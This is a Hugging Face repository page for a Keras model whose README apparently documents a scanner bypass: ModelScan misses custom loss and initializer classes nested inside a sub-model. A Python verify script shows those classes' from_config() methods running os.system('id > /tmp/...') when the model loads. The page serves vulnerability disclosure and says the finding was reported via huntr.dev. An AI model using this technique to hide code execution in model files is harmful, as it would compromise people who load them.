Instructions to use xiaoyaoes/modelscan-nested-model-bypass with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use xiaoyaoes/modelscan-nested-model-bypass with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://xiaoyaoes/modelscan-nested-model-bypass") - Notebooks
- Google Colab
- Kaggle
Commit ·
0214f95
0
Parent(s):
Nested model full bypass — compile_config + initializer invisible
Browse files- README.md +55 -0
- model.keras +0 -0
README.md
ADDED
|
@@ -0,0 +1,55 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
library_name: keras
|
| 3 |
+
tags:
|
| 4 |
+
- security-research
|
| 5 |
+
- modelscan-bypass
|
| 6 |
+
- nested-model
|
| 7 |
+
- rce
|
| 8 |
+
- compile-config
|
| 9 |
+
- initializer
|
| 10 |
+
---
|
| 11 |
+
|
| 12 |
+
# ModelScan Nested Model Bypass — All Deserialization Layers Invisible
|
| 13 |
+
|
| 14 |
+
## What This Is
|
| 15 |
+
|
| 16 |
+
ModelScan only scans the TOP-LEVEL model's layers for `class_name == "Lambda"`. When a model contains another model as a layer (Sequential/Functional sub-model), the ENTIRE internal structure — including compile_config, initializers, regularizers, constraints — is **completely invisible**.
|
| 17 |
+
|
| 18 |
+
This .keras file:
|
| 19 |
+
- Outer model wraps a Sequential sub-model as a layer
|
| 20 |
+
- Sequential has custom loss (`NestedLoss>BadLoss`) with malicious `from_config()`
|
| 21 |
+
- Sequential has a layer with custom initializer (`NestedInit>BadInit`) with malicious `from_config()`
|
| 22 |
+
- ModelScan: **0 Issues, 0 Errors, 0 Skipped**
|
| 23 |
+
|
| 24 |
+
## Verify
|
| 25 |
+
```bash
|
| 26 |
+
python3 -c "
|
| 27 |
+
import tensorflow as tf, keras, os
|
| 28 |
+
|
| 29 |
+
@keras.saving.register_keras_serializable(package='NestedLoss')
|
| 30 |
+
class BadLoss(tf.keras.losses.MeanSquaredError):
|
| 31 |
+
@classmethod
|
| 32 |
+
def from_config(cls, config):
|
| 33 |
+
import os; os.system('id > /tmp/NL')
|
| 34 |
+
return super().from_config(config)
|
| 35 |
+
|
| 36 |
+
@keras.saving.register_keras_serializable(package='NestedInit')
|
| 37 |
+
class BadInit(tf.keras.initializers.GlorotUniform):
|
| 38 |
+
@classmethod
|
| 39 |
+
def from_config(cls, config):
|
| 40 |
+
import os; os.system('id > /tmp/NI')
|
| 41 |
+
return super().from_config(config)
|
| 42 |
+
|
| 43 |
+
model = tf.keras.models.load_model('model.keras', safe_mode=False)
|
| 44 |
+
print('Loss RCE:', os.path.exists('/tmp/NL'))
|
| 45 |
+
print('Init RCE:', os.path.exists('/tmp/NI'))
|
| 46 |
+
"
|
| 47 |
+
```
|
| 48 |
+
|
| 49 |
+
## Why This Matters
|
| 50 |
+
|
| 51 |
+
Nested models place their compile_config at `layer.compile_config` (not `model.compile_config`). Even if ModelScan fixes the top-level scan, nested sub-models provide an end-run.
|
| 52 |
+
|
| 53 |
+
## Disclosure
|
| 54 |
+
|
| 55 |
+
Submitted to ProtectAI via huntr.dev.
|
model.keras
ADDED
|
Binary file (28.1 kB). View file
|
|
|